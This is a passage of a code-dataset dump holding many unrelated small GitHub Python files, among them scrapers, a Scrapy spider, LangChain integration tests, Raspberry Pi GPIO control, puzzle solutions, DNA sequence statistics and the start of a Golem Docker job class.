print(0)","repo_name":"Amar3298/db_sa_daily_question","sub_path":"Geeks_for_Geeks/Practice/Day_8/01_palndromic_array/01_palndromic_array.py","file_name":"01_palndromic_array.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"19087773858","text":"import pandas as pd\nimport requests\nfrom fake_useragent import UserAgent\nimport time\n\n\ndef is_url_accessible(url):\n user_agent = UserAgent()\n headers = {'User-Agent': user_agent.random}\n\n try:\n response = requests.get(url, headers=headers)\n if response.status_code == 200:\n return True\n except requests.RequestException:\n return False\n\n\ndef process_csv(input_csv, output_xlsx):\n data = pd.read_csv(input_csv, header=None, names=['URL'])\n is_accessible = []\n\n for url in data['URL']:\n if is_url_accessible(url):\n is_accessible.append(True)\n else:\n is_accessible.append(False)\n\n data['IsAccessible'] = is_accessible\n data.to_excel(output_xlsx, index=False)\n\n\nif __name__ == \"__main__\":\n input_csv_file = \"furniture_stores_pages.csv\"\n output_xlsx_file = \"result_without_async.xlsx\"\n\n process_csv(input_csv_file, output_xlsx_file)\n\n print(f\"Results saved to {output_xlsx_file}\")\n","repo_name":"razvan233/exadel-ml","sub_path":"check_urls.py","file_name":"check_urls.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"3056519651","text":"import os\nimport Options\nfrom Configure import ConfigurationError\nfrom os.path import exists\nfrom shutil import copy2 as copy\n\nTARGET = 'sqlite3_bindings'\nTARGET_FILE = '%s.node' % TARGET\nbuilt = 'build/default/%s' % TARGET_FILE\ndest = 'lib/%s' % TARGET_FILE\n\ndef set_options(opt):\n opt.tool_options(\"compiler_cxx\")\n\ndef configure(conf):\n conf.check_tool(\"compiler_cxx\")\n conf.check_tool(\"node_addon\")\n \n linkflags = []\n if os.environ.has_key('LINKFLAGS'):\n linkflags.extend(os.environ['LINKFLAGS'].split(' '))\n conf.env.append_value(\"LINKFLAGS\", linkflags)\n\n try:\n conf.check_cfg(package=\"sqlite3\", args='--libs --cflags',\n uselib_store=\"SQLITE3\", mandatory=True)\n except ConfigurationError:\n conf.check(lib=\"sqlite3\", libpath=['/usr/local/lib', '/opt/local/lib'],\n uselib_store=\"SQLITE3\", mandatory=True)\n\ndef build(bld):\n obj = bld.new_task_gen(\"cxx\", \"shlib\", \"node_addon\")\n obj.cxxflags = [\"-g\", \"-D_FILE_OFFSET_BITS=64\", \"-D_LARGEFILE_SOURCE\",\n \"-DSQLITE_ENABLE_RTREE=1\", \"-pthread\", \"-Wall\"]\n obj.target = TARGET\n obj.source = \"src/sqlite3.cc src/database.cc src/statement.cc\"\n obj.uselib = \"SQLITE3\"\n\ndef shutdown():\n if Options.commands['clean']:\n if exists(TARGET_FILE):\n unlink(TARGET_FILE)\n else:\n if exists(built):\n copy(built, dest)\n","repo_name":"zester/Quantum","sub_path":"QProjectManager/node_modules/sqlite3/wscript","file_name":"wscript","file_ext":"","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"7"} +{"seq_id":"33415472291","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\nclass MicroeaseSpider(scrapy.Spider):\n name = 'itcast'\n allowed_domains = ['itcast.cn']\n start_urls = ['http://www.itcast.cn/channel/teacher.shtml']\n\n def parse(self, response):\n # ret1 = response.xpath(\"//div[@class='tea_con']//h3/text()\").extract()\n # print(ret1) 16分钟\n li_list = response.xpath(\"//div[@class='tea_con']//li\")\n for li in li_list:\n item = {}\n item['name'] = li.xpath(\".//h3/text()\").extract()[0]\n item['title'] = li.xpath(\".//h4/text()\").extract()[0]\n item['came_from'] = \"huyankai\"\n logger.warning(item)\n print(item)\n","repo_name":"microease/Heima-Python-2018","sub_path":"15期/20 爬虫scrapy框架及案例/myspider/myspider/spiders/itcast.py","file_name":"itcast.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"7"} +{"seq_id":"24561622577","text":"import responses\n\nfrom langchain_community.llms.cloudflare_workersai import CloudflareWorkersAI\n\n\n@responses.activate\ndef test_cloudflare_workersai_call() -> None:\n responses.add(\n responses.POST,\n \"https://api.cloudflare.com/client/v4/accounts/my_account_id/ai/run/@cf/meta/llama-2-7b-chat-int8\",\n json={\"result\": {\"response\": \"4\"}},\n status=200,\n )\n\n llm = CloudflareWorkersAI(\n account_id=\"my_account_id\",\n api_token=\"my_api_token\",\n model=\"@cf/meta/llama-2-7b-chat-int8\",\n )\n output = llm(\"What is 2 + 2?\")\n\n assert output == \"4\"\n\n\n@responses.activate\ndef test_cloudflare_workersai_stream() -> None:\n response_body = ['data: {\"response\": \"Hello\"}', \"data: [DONE]\"]\n responses.add(\n responses.POST,\n \"https://api.cloudflare.com/client/v4/accounts/my_account_id/ai/run/@cf/meta/llama-2-7b-chat-int8\",\n body=\"\\n\".join(response_body),\n status=200,\n )\n\n llm = CloudflareWorkersAI(\n account_id=\"my_account_id\",\n api_token=\"my_api_token\",\n model=\"@cf/meta/llama-2-7b-chat-int8\",\n streaming=True,\n )\n\n outputs = []\n for chunk in llm.stream(\"Say Hello\"):\n outputs.append(chunk)\n\n assert \"\".join(outputs) == \"Hello\"\n","repo_name":"langchain-ai/langchain","sub_path":"libs/community/tests/integration_tests/llms/test_cloudflare_workersai.py","file_name":"test_cloudflare_workersai.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":68990,"dataset":"github-code","pt":"7"} +{"seq_id":"14336596326","text":"import time\nimport RPi.GPIO as GPIO\n\nGPIO.setmode(GPIO.BOARD) \nGPIO.setup(16, GPIO.OUT)\nGPIO.setup(11, GPIO.IN)\nGPIO.setup(13, GPIO.IN)\n\np = GPIO.PWM(16, 50)\np.start(0)\n\ndc = 5\np.ChangeDutyCycle(dc)\ntry:\n while 1:\n inputValue1 = GPIO.input(11)\n inputValue2 = GPIO.input(13)\n if inputValue1 == False and dc < 8:\n dc += 1\n p.ChangeDutyCycle(dc)\n print(\"Button pressed 1\", dc)\n elif inputValue2 == False and dc > 3:\n dc -= 1\n p.ChangeDutyCycle(dc)\n print(\"Button pressed 2\", dc)\n time.sleep(0.5)\nexcept KeyboardInterrupt:\n pass\np.stop()\nGPIO.cleanup()","repo_name":"Yi-Cheng0101/TSMC_MS_Hackthon","sub_path":"motor/mix.py","file_name":"mix.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24700878350","text":"#!/usr/bin/env python3\n\nfrom bottle import route, run, request, get\n\n@get('/msg')\ndef message():\n\n name = request.query.name\n age = request.query.age\n\n return \"{0} is {1} years old\".format(name, age)\n\nrun(host='localhost', port=8080, debug=True)\n","repo_name":"bluesli2005/python-bottle","sub_path":"get_request.py","file_name":"get_request.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"14856468322","text":"#!/usr/bin/python\n# Time-stamp : Thu Nov 29 13:21:40 CST 2007 angenent\n#\nfrom grapher import *\nfrom math import *\n\n\n\nsetViewBox(-0.5,-0.2,2.5,1.6)\nopenOutputFile(\"09bowlregion\",90)\n\naxes([5,5])\nexxes = [-1+0.02*k for k in range(101)]\ncurve = [[1+x, x*x] for x in exxes]\ncurve.append(curve[0])\nsetrgbcolor('lightGray')\npolygonF(curve)\nsetrgbcolor('black')\npolygonA(curve)\n\nsetdash(\"[3] 0\")\nlinewidth(0.5)\nline([2,0], [2,1])\n\nannotate([0, 1], [-7, -2], \"1\")\nannotate([1, 0], [-2, -10], \"1\")\nannotate([2, 0], [-2, -10], \"2\")\nannotate([1, 0.5], [-1, -2], \"$\\setR$\")\n\ncloseOutputFile()\n\n\n","repo_name":"SigurdAngenent/WisconsinCalculus","sub_path":"figures/221/09bowlregion.py","file_name":"09bowlregion.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"7"} +{"seq_id":"35281468945","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"client-bittrex-api\",\n version=\"0.0.5\",\n author=\"Ruben Colomina\",\n author_email=\"rcolomina@gmail.com\",\n description=\"This is a client to perfrom public and private queries to Bittrex API\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/rcolomina/python_client_bittrex_api\",\n packages=setuptools.find_packages(),\n install_requires=['requests>=2.21.0'],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\n \"Operating System :: OS Independent\",\n ],\n include_package_data=True\n)\n","repo_name":"rcolomina/python_client_bittrex_api","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27519955309","text":"import discord\nimport aiohttp\n\nfrom discord.ext import commands\n\nclass WikiuCog(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command()\n async def wiki(self,ctx,arg=None):\n #Apenas a primeira palavra eh um arg, precisa colocar entre aspas pra vir mais\n if arg == None:\n return await ctx.send(\"Digite algo depois do .wiki. Use aspas se quer usar mais que uma palavra.\")\n nome = arg\n url = f'http://wikiu.app/generate?name={nome}'\n response = await aiohttp.ClientSession().get(url)\n data = await response.json() \n text = data[\"result\"]\n await ctx.send(text)\n ","repo_name":"pedrorault/discordBot","sub_path":"wikiuBot/wikiuCog.py","file_name":"wikiuCog.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"4712004885","text":"import time\r\nimport datetime\r\nprint(\"3\")\r\ntime.sleep(0.5)\r\nprint(\"2\")\r\ntime.sleep(0.5)\r\nprint(\"1\")\r\ntime.sleep(0.5)\r\nzaman=datetime.datetime.now()\r\n\r\nn=str(input(\"yazı giriniz: \"))\r\nzaman1=datetime.datetime.now()\r\nhiz=zaman1-zaman\r\nsure=round(hiz.total_seconds(),2)\r\nprint(sure,\" saniyede yazdınız\")","repo_name":"HilalSolak/pythonProjects","sub_path":"yaziyazmahizi.py","file_name":"yaziyazmahizi.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"30518089576","text":"from bs4 import BeautifulSoup\nimport requests\nimport os\n\nroot = 'https://subslikescript.com'\nwebsite = f'{root}/movies'\nresult = requests.get(website)\ncontent = result.text\n\nsoup = BeautifulSoup(content, 'lxml')\npagination = soup.find('ul', class_='pagination')\npages = pagination.find_all('li', class_='page-item')\nlast_page = pages[-2].text\nprint(last_page) # 1780\n\nlinks = []\nfor page in range(1, int(last_page))[:1]:\n website = f'https://subslikescript.com/movies_letter-A?page={page}'\n result = requests.get(website)\n content = result.text\n soup = BeautifulSoup(content, 'lxml')\n box = soup.find('article', class_='main-article')\n for link in box.find_all('a', href=True):\n # href=True means we want to search for all elements with href attribute\n links.append(link['href'])\n# print(links)\n\nfor link in links:\n try:\n website = f'{root}/{link}'\n print(website)\n result = requests.get(website)\n content = result.text\n soup = BeautifulSoup(content, 'lxml')\n\n box = soup.find('article', class_='main-article')\n title = box.find('h1').get_text()\n transcript = soup.find('div', class_='full-script').get_text(strip=True, separator=' ')\n\n new_directory_path = './script_collection/'\n if not os.path.exists(new_directory_path):\n os.makedirs(new_directory_path)\n\n new_file_path = new_directory_path + f'{title}.txt'\n with open(new_file_path, 'w') as f:\n f.write(transcript)\n except:\n print('___something wrong with this link')\n","repo_name":"hanyuanz2000/SoupAndSeleniumScrapers","sub_path":"1 BeautifulSoup/pagination.py","file_name":"pagination.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33807642006","text":"import numpy as np\nfrom ._binary_to_num import _binary_to_num\n\ndef _decode_solution(encoded_form, **params):\n\n\tlocation_precision = params.get(\"location_precision\")\n\tlocation_binary_length = params.get(\"location_binary_length\")\n\tsize_precision = params.get(\"size_precision\")\n\tsize_binary_length = params.get(\"size_binary_length\")\n\tmax_n_leaks = params.get(\"max_n_leaks\")\n\n\txL, CdAl = [], []\n\tfor i in range(max_n_leaks):\n\n\t\tleak_binary = encoded_form[i*location_binary_length: \\\n\t\t\t\t\t\t\t\t(i+1)*location_binary_length]\n\t\tleak_loc = _binary_to_num(leak_binary, location_precision)\n\t\txL.append(leak_loc)\n\n\t\tsize_binary = encoded_form[(max_n_leaks+i)*size_binary_length: \\\n\t\t\t\t\t\t\t\t(max_n_leaks+i+1)*size_binary_length]\n\t\tleak_size = _binary_to_num(size_binary, size_precision)\n\t\tCdAl.append(leak_size)\n\n\tzipped_lists = zip(xL, CdAl)\n\tsorted_pairs = sorted(zipped_lists)\n\n\ttuples = zip(*sorted_pairs)\n\txL, CdAl = [list(tup) for tup in tuples]\n\n\treturn {'xL': xL,\n\t\t\t'CdAl': np.array(CdAl)}\n\n","repo_name":"vd1371/MLLeakDetection","sub_path":"Optimizer/_GA_tools/_Solution/_decode_solution.py","file_name":"_decode_solution.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"72900692382","text":"\"\"\"\nhttps://leetcode.com/problems/number-of-dice-rolls-with-target-sum/\n\"\"\"\n\n\nclass Solution:\n def numRollsToTarget(self, d: int, f: int, target: int) -> int:\n def dfs(remainDices: int, remainSum: int) -> int:\n if remainDices == 0: # Used all dices.\n if remainSum == 0: # Found a solution.\n return 1\n else: # Not enough sum from all dices.\n return 0\n\n if (remainDices, remainSum) not in memo:\n cnt = 0\n for newRemainSum in range(max(0, remainSum - f), remainSum):\n cnt += dfs(remainDices - 1, newRemainSum)\n\n memo[(remainDices, remainSum)] = cnt\n\n return memo[(remainDices, remainSum)]\n\n memo = {}\n return dfs(d, target) % (10 ** 9 + 7)\n","repo_name":"eronekogin/leetcode","sub_path":"2021/number_of_dice_rolls_with_target_sum.py","file_name":"number_of_dice_rolls_with_target_sum.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"30550810734","text":"\"\"\"QGIS Unit tests for QgsLayoutFrame.\n\n.. note:: This program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\"\"\"\n__author__ = '(C) 2017 by Nyall Dawson'\n__date__ = '23/10/2017'\n__copyright__ = 'Copyright 2017, The QGIS Project'\n\nfrom qgis.core import QgsLayoutFrame, QgsLayoutItemHtml\nimport unittest\nfrom qgis.testing import start_app, QgisTestCase\n\nfrom test_qgslayoutitem import LayoutItemTestCase\n\nstart_app()\n\n\nclass TestQgsLayoutFrame(QgisTestCase, LayoutItemTestCase):\n\n @classmethod\n def setUpClass(cls):\n super(TestQgsLayoutFrame, cls).setUpClass()\n cls.mf = None\n\n @classmethod\n def createItem(cls, layout):\n cls.mf = QgsLayoutItemHtml(layout)\n return QgsLayoutFrame(layout, cls.mf)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"qgis/QGIS","sub_path":"tests/src/python/test_qgslayoutframe.py","file_name":"test_qgslayoutframe.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":8946,"dataset":"github-code","pt":"7"} +{"seq_id":"73221243102","text":"import os\nimport struct\n\nfrom lib.structs import Partition\n\n\nclass mount:\n def __init__(self, id, path):\n self.id = id\n self.path = path\n self.siguiente = None\n\nclass Lista_mounts:\n def __init__(self):\n self.cabeza = None\n\n def mount(self, id, path):\n if self.getMount(id) is not None:\n print(f\"La partición {id} ya se encuentra montada.\")\n return f\"La partición{id} ya se encuentra montada.\"\n new_mount = mount(id, path)\n if self.cabeza is None:\n self.cabeza = new_mount\n print(f\"Partición {id} montada.\")\n parts = self.showMounts()\n return f\"Partición {id} montada.\\n{parts}\"\n else:\n tmp = self.cabeza\n while tmp.siguiente is not None:\n tmp = tmp.siguiente\n tmp.siguiente = new_mount\n print(f\"Partición {id} montada.\")\n parts = self.showMounts()\n return f\"Partición {id} montada.\\n{parts}\"\n\n\n def unMount(self, id):\n if self.cabeza is None:\n print(\"No hay particiones montadas.\")\n return\n\n if self.cabeza.id == id:\n self.cabeza = self.cabeza.siguiente\n print(f\"Partición {id} desmontada.\")\n parts=self.showMounts()\n return f\"Partición {id} desmontada.\\n{parts}\" \n\n tmp = self.cabeza\n while tmp.siguiente is not None:\n if tmp.siguiente.id == id:\n tmp.siguiente = tmp.siguiente.siguiente\n print(f\"Partición {id} desmontada.\")\n return f\"partición {id} desmontada.\"\n tmp = tmp.siguiente\n print(f\"Partición {id} no encontrada.\")\n return f\"Partición {id} no encontrada.\"\n \n def showMounts(self):\n if self.cabeza is None:\n print(\"No hay particiones montadas.\")\n return \"No hay particiones montadas.\"\n tmp = self.cabeza\n print(\"Particiones montadas:\")\n txt = \"\\nParticiones montadas:\\n\"\n while tmp is not None:\n print(f\"ID: {tmp.id} - Path: {tmp.path}\")\n txt += f\"ID: {tmp.id} - Path: {tmp.path}\\n\"\n tmp = tmp.siguiente\n return txt\n def getMount(self, id):\n tmp = self.cabeza\n while tmp is not None:\n if tmp.id == id:\n return tmp\n tmp = tmp.siguiente\n return None\n \n\nclass ID:\n\n def generate_id(path, name_partition):\n if not os.path.exists(path):\n print(f\"[Error] El disco en {path} no se ha encontrado para el montaje.\")\n return\n name_disk = ID.obtain_name_disk(path)\n no_partition = ID.obtain_No_partition(path,name_partition)\n id = \"63\"+str(no_partition)+name_disk\n return id\n \n def obtain_No_partition(path,name_partition):\n partitions = [] \n with open(path, \"rb\") as archivo:\n contenido = archivo.read()\n disk_size = struct.unpack(\"I\", contenido[:4])[0]\n part1 = Partition.format_from_bytes(contenido[29:56])\n partitions.append(part1)\n part2 = Partition.format_from_bytes(contenido[56:83])\n partitions.append(part2)\n part3 = Partition.format_from_bytes(contenido[83:110])\n partitions.append(part3)\n part4 = Partition.format_from_bytes(contenido[110:137])\n partitions.append(part4)\n archivo.close()\n no_partition = 0\n for part in partitions:\n if part.status == '1':\n no_partition += 1\n if part.name==name_partition:\n break\n \n return no_partition\n \n def obtain_name_disk(path):\n name_disk = os.path.basename(path) # Obtiene el nombre del archivo de la ruta\n name_disk = os.path.splitext(name_disk)[0] # Elimina la extensión del archivo\n return name_disk\n\n \n\n ","repo_name":"ChristopherMonterroso/MIA_Proyecto2","sub_path":"server/lib/mount.py","file_name":"mount.py","file_ext":"py","file_size_in_byte":3963,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37181211358","text":"import os\n\n\ndef merge_m3u8(m3u8,files):\n print(f\"m3u8{m3u8}\")\n list=[]\n for i in m3u8:\n if i.startswith(\"#\"):\n continue\n else:\n i.strip()\n list.append(f'./{files}/tmp_{i.rsplit(\"/\")[-1]}')\n s=\" \".join(list)\n print(s)\n os.system(f\"cat {s} > new.mp4\")\n\n\nif __name__ == '__main__':\n with open(\"./m3u8/second_m3u8.txt\") as f:\n merge_m3u8(f,\"video\")\n\n\n\n","repo_name":"saturn-x/spider_practice","sub_path":"基础练习/爬取视频/视频合并.py","file_name":"视频合并.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74675741983","text":"import urwid\n\nfrom console.app import app\nfrom console.widgets.dialogs import PopupPile\nfrom console.widgets.listbox import FancyListBox\n\n\nclass Inspector(PopupPile):\n title = \"Inspection\"\n\n def __init__(self, data):\n super(Inspector, self).__init__([\n urwid.BoxAdapter(\n FancyListBox(self.get_contents(data)),\n int(app.screen.get_cols_rows()[1] * 0.8)\n )\n ])\n\n def get_string_item(self, key, val, label_width):\n return urwid.Columns([\n (label_width, urwid.Padding(\n urwid.Text(key, align='right'),\n align='center', width=('relative', 80),\n )),\n urwid.Padding(\n urwid.Text(unicode(val), align='left'),\n align='center', width=('relative', 100),\n ),\n ])\n\n def get_list_item(self, key, vals, label_width):\n items = []\n for item in vals:\n if item:\n items.append(self.handle_item('', item, label_width))\n\n return urwid.Columns([\n (label_width, urwid.Padding(\n urwid.Text(key, align='right'),\n align='center', width=('relative', 80),\n )),\n urwid.Pile([urwid.Text('')] + items),\n ])\n\n def get_dict_item(self, name, data, label_width):\n longest = 1\n if data:\n longest = max(len(key) for key in data) + 4\n items = []\n for key, val in sorted(data.items()):\n if val:\n items.append(self.handle_item(key, val, longest))\n return urwid.Pile(items)\n\n def handle_item(self, key, val, longest):\n if val == '':\n val = \"None\"\n if val is None:\n val = \"None\"\n\n if val is \"None\":\n return self.get_string_item(key, 'None', longest)\n if (isinstance(val, unicode) or isinstance(val, str)) or isinstance(val, float) or isinstance(val, int):\n try:\n return self.get_string_item(key, val, longest)\n except UnicodeEncodeError:\n import pdb; pdb.set_trace()\n if isinstance(val, list) or isinstance(val, tuple):\n return self.get_list_item(key, val, longest)\n if isinstance(val, dict) and val:\n return self.get_dict_item(key, val, longest)\n return urwid.Pile([])\n\n\n def get_contents(self, data):\n contents = []\n longest = 0\n if data:\n longest = max(len(k) for k in data)\n contents.append(self.get_dict_item('data', data, 20))\n\n return contents\n\n","repo_name":"dustinlacewell/console","sub_path":"console/widgets/inspector.py","file_name":"inspector.py","file_ext":"py","file_size_in_byte":2606,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"7"} +{"seq_id":"5375614437","text":"from django.core.paginator import EmptyPage\n\ndef get_page(request, paginator, page_param='page'):\n \"\"\"\n Uses the page number specified as a GET parameter in a request to\n retrieve a page of objects from a paginator.\n\n If a page number isn't specified or isn't a valid integer value, the\n first page will be retrieved.\n\n If the specified page is empty, the last page will be retrieved.\n \"\"\"\n try:\n page = int(request.GET.get(page_param, '1'))\n except ValueError:\n page = 1\n\n try:\n return paginator.page(page)\n except EmptyPage:\n return paginator.page(paginator.num_pages)\n","repo_name":"insin/soclone","sub_path":"soclone/shortcuts.py","file_name":"shortcuts.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"7"} +{"seq_id":"42354202553","text":"# Get data\r\ndata = [line.strip() for line in open('input_day3.txt', 'r')]\r\n\r\ndef convert_char_to_int(c):\r\n if c.islower():\r\n return ord(c) - ord('a') + 1\r\n else:\r\n return ord(c) - ord('A') + 26 + 1\r\n \r\ndef part1():\r\n total = 0\r\n for line in data:\r\n first, second = line[:len(line)//2], line[len(line)//2:]\r\n outlier = list(set(first) & set(second))[0]\r\n total += convert_char_to_int(outlier)\r\n print(total)\r\n\r\ndef part2():\r\n total = 0\r\n for i in range(0, len(data), 3):\r\n first_elve, second_elve, third_elve = data[i], data[i+1], data[i+2]\r\n badge = list(set(first_elve) & set(second_elve) & set(third_elve))[0]\r\n total += convert_char_to_int(badge)\r\n print(total)\r\n\r\npart1()\r\npart2()","repo_name":"angelomorgado/Advent-of-Code","sub_path":"2022/day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"43830235143","text":"from itertools import combinations\nfrom statistics import mean, mode\nimport time\n\nfrom Levenshtein._levenshtein import distance\nfrom numpy import histogram\nfrom scipy.stats import sem, variation\n\nfrom db.SequencePositionStats import SequencePositionStats\nfrom db.ExecutionTime import ExecutionTime\nfrom Bio.Seq import Seq\n\n\ndef init_seq_position_stats(length=377):\n for i in range(length):\n seq_pos_stats = SequencePositionStats(\n A_count=0,\n T_count=0,\n G_count=0,\n C_count=0,\n position=i\n )\n seq_pos_stats.save()\n\n\ndef reset_seq_position_stats():\n for seq_positions in SequencePositionStats.objects().order_by('position'):\n seq_positions.update(set__A_count=0)\n seq_positions.update(set__T_count=0)\n seq_positions.update(set__G_count=0)\n seq_positions.update(set__C_count=0)\n\n\ndef update_seq_pos_stats(position, nucleoid):\n if nucleoid == 'A':\n SequencePositionStats.objects(position=position).update(inc__A_count=1)\n elif nucleoid == 'T':\n SequencePositionStats.objects(position=position).update(inc__T_count=1)\n elif nucleoid == 'G':\n SequencePositionStats.objects(position=position).update(inc__G_count=1)\n elif nucleoid == 'C':\n SequencePositionStats.objects(position=position).update(inc__C_count=1)\n\n\ndef count_nucleoid_stats(record):\n if record.length != 377:\n for i in range(0, 377):\n nucleoid = record.sequence[i]\n update_seq_pos_stats(i, nucleoid)\n else:\n for i in range(len(record.sequence)):\n nucleoid = record.sequence[i]\n update_seq_pos_stats(i, nucleoid)\n\n\n# def count_nucleoid_stats(seq):\n# for i in range(len(seq)):\n# nucleoid = seq[i]\n# print(f'Nucleoid: {nucleoid}, position: {i}')\n# update_seq_pos_stats(i, nucleoid)\n\n\ndef count_distance(sequence1, sequence2):\n dis = 0\n if len(sequence1) != 377:\n sequence1 = sequence1[:377]\n if len(sequence2) != 377:\n sequence2 = sequence2[:377]\n for i in range(len(sequence1)):\n if sequence1[i] != sequence2[i]:\n dis += 1\n return dis\n\n\ndef count_wild_type():\n wild_sequence = ''\n for seqPositions in SequencePositionStats.objects().order_by('position'):\n maxCounts = max(seqPositions.A_count, seqPositions.T_count, seqPositions.C_count, seqPositions.G_count)\n if maxCounts == seqPositions.A_count:\n wild_sequence += 'A'\n elif maxCounts == seqPositions.T_count:\n wild_sequence += 'T'\n elif maxCounts == seqPositions.G_count:\n wild_sequence += 'G'\n elif maxCounts == seqPositions.C_count:\n wild_sequence += 'C'\n print(wild_sequence)\n return Seq(wild_sequence)\n\n\ndef count_distance_distribution(sequences, base_sequence):\n distances = []\n for sequence in sequences:\n dist = count_distance(str(sequence), str(base_sequence))\n distances.append(dist)\n return distances\n\n\ndef count_paired_distance_distribution(sequences):\n distances = []\n for sequence1, sequence2 in combinations(sequences, 2):\n dist = count_distance(str(sequence1), str(sequence2))\n distances.append(dist)\n return distances\n\n\ndef get_distribution_stats(arr):\n hist = histogram(arr)\n hist = hist[0]\n total = sum(hist)\n parted_hist = [i / total for i in hist]\n return hist, parted_hist\n\n\ndef sequence_stats(arr):\n expected_value = mean(arr)\n standard_error = sem(arr)\n distance_mode = mode(arr)\n distance_min = min(arr)\n distance_max = max(arr)\n distance_variation = variation(arr)\n return [expected_value, standard_error, distance_mode, distance_min, distance_max, distance_variation]\n","repo_name":"drewfrost/dna","sub_path":"db/SequenceStats.py","file_name":"SequenceStats.py","file_ext":"py","file_size_in_byte":3767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71039973343","text":"import json\nimport logging\nimport os\nimport posixpath\nimport threading\nfrom typing import Dict, Optional, Iterable\n\nimport docker.errors\n\nfrom golem.core.common import nt_path_to_posix_path, is_windows\nfrom golem.docker.image import DockerImage\nfrom .client import local_client\n\n__all__ = ['DockerJob']\n\nlogger = logging.getLogger(__name__)\n\n\"\"\"\nThe logger used for logging std streams of the process running in container.\n\"\"\"\ncontainer_logger = logging.getLogger(__name__ + \".container\")\n\n\n# pylint:disable=too-many-instance-attributes\nclass DockerJob:\n STATE_NEW = \"new\"\n STATE_CREATED = \"created\" # container created by docker\n STATE_RUNNING = \"running\" # docker container running\n STATE_EXITED = \"exited\" # docker container finished running\n STATE_STOPPED = \"stopped\"\n STATE_KILLED = \"killed\"\n STATE_REMOVED = \"removed\"\n\n # This dir contains static task resources.\n # Mounted read-write in the container.\n RESOURCES_DIR = \"/golem/resources\"\n\n # This dir contains task script and params file.\n # Mounted read-write in the container.\n WORK_DIR = \"/golem/work\"\n\n # All files in this dir are treated as output files after the task finishes.\n # Mounted read-write in the container.\n OUTPUT_DIR = \"/golem/output\"\n\n # Dir for storing statistics on the job execution (e.g. resource usage).\n # Mounted read-write in the container.\n STATS_DIR = \"/golem/stats\"\n\n # Default name for the file containing job execution statistics.\n STATS_FILE = \"stats.json\"\n\n # these keys/values pairs will be saved in \"params\" module - it is\n # dynamically created during docker setup and available for import\n # inside docker\n PATH_PARAMS = {\n \"RESOURCES_DIR\": RESOURCES_DIR,\n \"WORK_DIR\": WORK_DIR,\n \"OUTPUT_DIR\": OUTPUT_DIR,\n \"STATS_DIR\": STATS_DIR\n }\n\n # Name of the parameters file, relative to WORK_DIR\n PARAMS_FILE = \"params.json\"\n\n # pylint:disable=too-many-arguments\n def __init__(self,\n image: DockerImage,\n entrypoint: str,\n parameters: Dict,\n resources_dir: str,\n work_dir: str,\n output_dir: str,\n stats_dir: str,\n cpu_limit: Optional[int] = None,\n volumes: Optional[Iterable[str]] = None,\n environment: Optional[dict] = None,\n host_config: Optional[Dict] = None,\n container_log_level: Optional[int] = None) -> None:\n \"\"\"\n :param DockerImage image: Docker image to use\n :param str entrypoint: command that will be executed in Docker\n :param dict parameters: parameters for the task script\n :param str resources_dir: directory with task resources\n :param str work_dir: directory for temporary work files\n :param str output_dir: directory for output files\n \"\"\"\n if not isinstance(image, DockerImage):\n raise TypeError('Incorrect image type: {}. '\n 'Should be: DockerImage'.format(type(image)))\n self.image = image\n self.entrypoint = entrypoint\n self.parameters = parameters if parameters else {}\n\n self.parameters.update(self.PATH_PARAMS)\n\n self.volumes = list(volumes) if volumes else [\n 